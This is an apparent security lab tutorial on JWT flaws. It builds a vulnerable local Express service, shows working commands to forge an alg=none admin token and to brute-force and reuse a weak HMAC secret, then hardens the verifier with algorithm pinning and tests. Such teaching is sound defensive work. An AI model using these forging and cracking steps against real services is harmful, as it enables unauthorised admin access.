What You'll Build
In this lab you will run a small login service that issues and verifies JSON Web Tokens insecurely, then exploit two classic flaws from Lesson 14: the 'none' algorithm bypass and a weak, brute-forceable signing secret. Finally you will harden the verifier so both attacks fail, proving the fix with tests.
The aim is to make JWT verification concrete. By forging a token that grants yourself admin rights, and by cracking a short secret offline, you will feel exactly why the verifier, not the token, must decide how trust is established. That intuition, once earned by breaking a system, is far stickier than reading the rule.
Prerequisites
- Node.js 18+ and npm installed, plus a terminal for running commands.
- Completion of the Module 3 reading on JWT vulnerabilities, whose 'none' and algorithm concepts you will exploit directly.
- Basic comfort decoding base64 and reading a JWT's three dot-separated parts (header, payload, signature).
- An understanding that these techniques are for this local lab or systems you are explicitly authorised to test only.
Setup & Project Structure
Create a minimal Express service with two endpoints: a login that issues a JWT after checking a hard-coded user, and a protected route that verifies the token insecurely by trusting its header. Deliberately configure the service with a short, guessable signing secret so you can later crack it. Keep the service local and inspect every token you receive.
# Scaffold the vulnerable JWT service
mkdir jwt-lab && cd jwt-lab
npm init -y
npm install express jsonwebtoken
# In app.js: /login issues a token signed with a WEAK secret,
# and /admin verifies WITHOUT pinning the algorithm (trusts header).
node app.js # serves on http://localhost:3000Step 1 — Foundation: Obtain and Decode a Token
Log in as a normal user and capture the JWT. Split it on its dots into header, payload, and signature, and base64-decode the first two to read them. Note the algorithm in the header and your role in the payload. This decoded view is your map: it shows exactly which fields you will tamper with and what a valid token looks like before you alter it.
# Log in and capture the token
TOKEN=$(curl -s http://localhost:3000/login -d 'user=alice&pass=alice123' \
| sed 's/.*"token":"//; s/".*//')
# Decode header and payload (the first two dot-separated parts)
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo
# Note: header alg (e.g. HS256) and payload role (e.g. "user").Step 2 — Core Logic: Forge with the 'none' Algorithm
Now attempt the none-algorithm bypass. Build a new token whose header sets alg to none, whose payload claims the admin role, and which has an empty signature. Send it to the protected route. If the verifier trusts the header's algorithm, it performs no signature check and grants admin access, confirming the flaw exactly as Lesson 14 described.
# Forge a 'none' token: header alg=none, payload role=admin, empty sig
HEADER=$(printf '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-')
PAYLOAD=$(printf '{"user":"alice","role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-')
FORGED="$HEADER.$PAYLOAD." # note trailing dot = empty signature
curl -s http://localhost:3000/admin -H "Authorization: Bearer $FORGED"
# Vulnerable verifier: returns admin data. Hardened verifier: 401.Step 3 — Integration & Enhancement: Crack the Weak Secret
Next, target the weak symmetric secret. Because the service signed with a short, guessable value, you can brute-force it offline against your captured token using a wordlist tool. Once recovered, you can mint a fully valid HS256 token with any claims you like, including admin, that passes even a signature check. This demonstrates why symmetric secrets must be long and random.
# Brute-force the weak HMAC secret offline (educational, local only)
# Using a JWT cracking tool against the captured token:
# jwt-cracker "$TOKEN" -d 0123456789abcdefghijklmnopqrstuvwxyz -m 8
# or hashcat mode 16500 with a small wordlist.
# Once the secret is recovered (e.g. "secret123"), mint a valid token:
node -e 'console.log(require("jsonwebtoken").sign(
{user:"alice",role:"admin"}, "secret123", {algorithm:"HS256"}))'
# This token passes a signature check — because the secret was guessable.Step 4 — Testing & Verification: Harden the Verifier
Finally, fix the service and prove both attacks fail. Pin the expected algorithm on the verifier so the none token and any switched algorithm are rejected, and replace the weak secret with a long random one from the environment. Then re-run your forged none token and any minted token from the old secret; both must now return 401. Lock this in with automated tests.
// HARDENED verifier: pin algorithm, use a strong secret, validate claims
const SECRET = process.env.JWT_SECRET; // long, random, from env
function requireAuth(req, res, next) {
try {
const token = req.get('Authorization')?.replace('Bearer ', '');
req.claims = jwt.verify(token, SECRET, {
algorithms: ['HS256'], // header 'none' now rejected
issuer: 'jwt-lab', audience: 'jwt-lab' // and claims validated
});
next();
} catch { return res.status(401).end(); } // any tampering -> 401
}
// verify.test.js — prove both exploits are closed
test('none-alg forged token is rejected', async () => {
expect((await get('/admin', forgedNoneToken)).status).toBe(401);
});
test('token from the old weak secret is rejected', async () => {
expect((await get('/admin', oldSecretToken)).status).toBe(401);
});Warning: Run this lab only against your own local service. JWT cracking tools and forged tokens are safe on your machine but constitute unauthorised access if aimed at any system you do not own or have explicit written permission to test. Keep everything on localhost and never point these techniques at a live third-party application.
Extension Challenge: Extend the lab three ways. Implement the algorithm-confusion attack from Lesson 14 by switching an RS256 service to HS256 and signing with its public key, then confirm your pinned-algorithm fix blocks it. Add token expiry and prove a replayed expired token is rejected, tying into Lesson 16. Finally, add a refresh-token endpoint with rotation so a reused refresh token is detected and the session revoked.
- JWT security rests entirely on verification, so forging a token that passes verification grants full impersonation — here, admin access.
- The 'none' algorithm bypass works whenever the verifier trusts the header's alg field and performs no signature check on an unsigned token.
- A short or guessable symmetric secret can be brute-forced offline from any captured token, after which fully valid tokens can be minted at will.
- Pinning the exact expected algorithm on the verifier rejects both the 'none' token and any switched-algorithm confusion attack.
- A long, random secret loaded from the environment, plus validated issuer, audience, and expiry claims, closes the weak-signing and replay gaps.
- Offensive practice — forging and cracking first — reveals the verifier's real weaknesses more convincingly than reading the rules, then the fix is proven with tests.